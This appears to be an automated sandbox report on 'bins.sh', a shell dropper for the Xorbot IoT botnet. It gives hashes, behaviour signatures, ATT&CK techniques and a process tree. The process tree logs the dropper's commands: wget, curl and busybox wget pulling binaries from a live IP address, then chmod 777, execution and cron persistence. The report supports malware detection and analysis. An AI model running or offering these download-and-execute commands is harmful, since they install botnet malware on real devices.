Analysis
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max time kernel
150s -
max time network
162s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
11/12/2024, 15:15
General
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Target
bins.sh
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Size
10KB
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MD5
5eab5295c0740b5344abb66f19ea0e39
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SHA1
7796e56bc014459c40563c509569791a6f05341a
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SHA256
b516438a84f4d4febdc19c62bae733ac24bf557205fd8ac1e42d1fb0f83f0d5a
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SHA512
6922bb223cb1df386c64584feb519299b4e06ed94d6153a314e01a883ecfa5a608bfb4732e11dff85402cdc406fd1293db7914457c14f8024a54f87754afb4d4
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SSDEEP
96:C//63ZCcEgN6L/vLIPnA43WlMf61Nx//63bZCcEgN8Lv7vLIPnlXXWTyYl6f81Na:dCcEg4BaWuf61PcEgVIQz
Malware Config
Signatures
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Detects Xorbot 2 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (1683) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 3 IoCs
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Renames itself 1 IoCs
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Unexpected DNS network traffic destination 2 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf742⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf742⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf742⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf742⤵
- File and Directory Permissions Modification
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/tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74./pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf742⤵
- Executes dropped EXE
- System Network Configuration Discovery
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/bin/rmrm pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf742⤵
- System Network Configuration Discovery
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/usr/bin/wgetwget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V2⤵
- File and Directory Permissions Modification
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/tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V./VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V2⤵
- Executes dropped EXE
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/bin/rmrm VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ2⤵
- File and Directory Permissions Modification
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/tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ./MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp2⤵
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/usr/bin/curlcurl -O http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD574b2ef76b08ebaa5850be1ce0a138118
SHA138c2e53b962fac41a1abf23d69fd8667abcc4839
SHA2561652d7706a69c0bc36cb5f94e48882ed47b9e2c63ee0f8a1e39c97377eafa3d3
SHA5121230483daadd611c2b78d590e7fb9cc8a3c96cdee34a774b1f774380b0cd0415d630595c60b4c7210a22f984f6e57a5ea14e14bf4fb87acb32eb4e9f756d3337